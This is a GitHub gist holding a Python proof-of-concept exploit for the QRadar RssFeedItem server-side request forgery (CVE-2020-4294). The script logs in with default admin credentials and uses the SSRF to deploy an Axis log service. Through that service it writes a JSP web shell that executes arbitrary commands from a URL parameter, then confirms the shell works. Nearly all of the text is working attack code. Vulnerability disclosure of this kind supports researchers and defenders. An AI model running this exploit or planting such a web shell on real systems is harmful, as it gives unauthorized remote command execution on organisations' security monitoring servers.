Skip to content

Instantly share code, notes, and snippets.

@ykoster
Created April 16, 2020 07:47
Show Gist options
  • Save ykoster/c903c7f143c9ec943d7ad1e75854dfea to your computer and use it in GitHub Desktop.
Save ykoster/c903c7f143c9ec943d7ad1e75854dfea to your computer and use it in GitHub Desktop.
QRadar RssFeedItem Server-Side Request Forgery vulnerability (CVE-2020-4294) proof of concept
#!/usr/bin/env python3
import json
import random
import urllib3
import requests
import urllib.parse
base_url='https://127.0.0.1/'
username='admin'
password='initial'
verifycert=False
deploy = """!--><deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
<service name="LogService" provider="java:RPC">
<requestFlow>
<handler type="WriteLog"/>
</requestFlow>
<parameter name="className" value="java.lang.Object"/>
<parameter name="allowedMethods" value="*"/>
</service>
<handler name="WriteLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="/opt/qradar/webapps/console/core/jsp/DisplayException.jsp"/>
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</deployment
"""
undeploy = """!--><undeployment xmlns="http://xml.apache.org/axis/wsdd/">
<service name="LogService"/>
<handler name="WriteLog"/>
</undeployment"""
create_jsp = """!--><![CDATA[
</soapenv:Body>
<pre>
<%@page import="java.util.*,java.io.*"%>
<% if (request.getParameter("c") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
DataInputStream dis = new DataInputStream(p.getInputStream());
String disr = dis.readLine();
while(disr != null) {
out.println(disr);
disr = dis.readLine();
}
p.destroy();
} %>
</pre>
<div style="display:none">
]]>
<triggerException/"""
if not verifycert:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get(f'{base_url}console/',
verify=verifycert, allow_redirects=False,
auth=requests.auth.HTTPBasicAuth(username, password))
if response.status_code != 302:
print(f"failed login as '{username}'")
exit(1)
cookies = response.cookies
response = requests.get(f'{base_url}console/qradar/jsp/QRadar.jsp',
verify=verifycert, cookies=cookies,
auth=requests.auth.HTTPBasicAuth(username, password))
cookies['JSESSIONID'] = response.cookies['JSESSIONID']
headers = {'SEC': cookies['SEC']}
url = f'https://127.0.0.1/console/services/AdminService;jsessionid={cookies["JSESSIONID"]}?method={urllib.parse.quote(deploy)}'
call = {'method': 'qradar.getRssFeedItem', 'QRadarCSRF': cookies['QRadarCSRF'],
'id': f'{random.randint(0, 99999999)}',
'params': {'feedURL': urllib.parse.quote(url)} }
response = requests.post(f'{base_url}console/remoteMethod',
verify=verifycert, cookies=cookies,
headers=headers, data=json.dumps(call))
if response.status_code != 200:
print('HTTP request failed:')
print(response.text)
exit(2)
url = f'https://127.0.0.1/console/services/LogService;jsessionid={cookies["JSESSIONID"]}?method={urllib.parse.quote(create_jsp)}'
call['params']['feedURL'] = urllib.parse.quote(url)
response = requests.post(f'{base_url}console/remoteMethod',
verify=verifycert, cookies=cookies,
headers=headers, data=json.dumps(call))
if response.status_code != 200:
print('HTTP request failed:')
print(response.text)
exit(3)
url = f'https://127.0.0.1/console/services/AdminService;jsessionid={cookies["JSESSIONID"]}?method={urllib.parse.quote(undeploy)}'
call['params']['feedURL'] = urllib.parse.quote(url)
response = requests.post(f'{base_url}console/remoteMethod',
verify=verifycert, cookies=cookies,
headers=headers, data=json.dumps(call))
if response.status_code != 200:
print('HTTP request failed:')
print(response.text)
exit(4)
response = requests.get(f'{base_url}console/core/jsp/DisplayException.jsp?c=id', verify=verifycert)
if response.status_code == 200 and 'uid=99(nobody) gid=99(nobody) groups=99(nobody)' in response.text:
print(f'[!] successfully deployed JSP shell at: {base_url}console/core/jsp/DisplayException.jsp?c=<command>')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment